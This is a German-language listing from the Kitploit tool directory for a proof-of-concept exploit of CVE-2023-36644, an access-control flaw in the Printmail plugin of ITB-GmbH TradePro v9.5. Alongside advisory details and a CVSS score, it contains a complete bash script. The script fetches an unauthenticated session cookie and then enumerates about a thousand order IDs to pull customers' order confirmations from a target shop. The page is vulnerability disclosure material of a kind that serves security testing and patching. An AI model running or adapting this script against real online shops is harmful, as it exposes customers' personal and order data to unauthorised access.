Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-36644 — Proof-of-concept-Exploit für CVE-2023-36644, der eine Remote-Informationsoffenlegung durch falsche Zugriffskontrolle im ITB-GmbH TradePro v9.5 Printmail-Plugin demonstriert. Enthält ein Bash-Skript zur Aufzählung von Auftragsbestätigungen. | Kitploit
Tools/GitHubGitHub/caffeinated-labs/cve-2023-36644
AufklärungSchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstests
GitHubcaffeinated-labs/cve-2023-36644

CVE-2023-36644

Proof-of-concept-Exploit für CVE-2023-36644, der eine Remote-Informationsoffenlegung durch falsche Zugriffskontrolle im ITB-GmbH TradePro v9.5 Printmail-Plugin demonstriert. Enthält ein Bash-Skript zur Aufzählung von Auftragsbestätigungen.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigenWebseite
2vor 2 JahrenNoch nicht geprüft

== Betroffene Software [%hardbreaks] Hersteller: ITB-GmbH Betroffene Produkte: TradePro (v9.5) Komponente: Printmail Plugin Bestätigt: ja

== Angriffsvektor [%hardbreaks] Typ: Fehlerhafte Zugriffskontrolle Zugriffstyp: Remote Auswirkung: Informationsoffenlegung

Fehlerhafte Zugriffskontrolle im printmail-Plugin in ITB-GmbH TradePro v9.5 ermöglicht es entfernten Angreifern, alle Auftragsbestätigungen aus dem Online-Shop zu erhalten, indem sie beliebige Auftragsnummern an einen http(s)-Endpunkt übergeben.

== Beschreibung Die orderid sollte vorher bekannt sein, kann aber leicht erraten werden oder mittels einer SQLi (siehe Report link:/security/CVE-2023-36645[CVE-2023-36645])

Der Aufruf von http(s)://[DOMAIN]/shop/de/?plugin=printmail&wkid=[COOKIE]&orderid=[ORDER_ID] mit einem gültigen, aber nicht authentifizierten Session-Cookie gewährt dem Angreifer Zugriff auf alle Auftragsbestätigungen.

== CVSS [%hardbreaks] Bewertung: 7.1 Vektor: https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:P[CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:P]

== PoC [source, bash]

#! /bin/bash DOMAIN=$1 TEST_PATH="shop/de/sys/" #TEST_PATH="shop/de/" SAMPLE1_ID=0

COOKIE=$(curl -s -c - $DOMAIN | grep sessiontradepro | cut -f7) echo "Got Cookie: $COOKIE" SAMPLE1=$(curl -s -w '\nsize_download %{size_download}' "$DOMAIN/$TEST_PATH?plugin=printmail&wkid=$COOKIE&orderid=$SAMPLE1_ID" | grep size_download | cut -d" " -f2) echo Test URL: "$DOMAIN/$TEST_PATH?plugin=printmail&wkid=$COOKIE&orderid=%ID%" echo "========" echo $SAMPLE1_ID $SAMPLE1 for SAMPLE2_ID in {24000..25000} do SAMPLE2=$(curl -s -w '\nsize_download %{size_download}' "$DOMAIN/$TEST_PATH?plugin=printmail&wkid=$COOKIE&orderid=$SAMPLE2_ID" | grep size_download | cut -d" " -f2) echo $SAMPLE2_ID $SAMPLE2 done

== Danksagungen

  • Lynn
  • Jadyn
  • https://zerforschung.org[zerforschung.org]
Tool herunterladen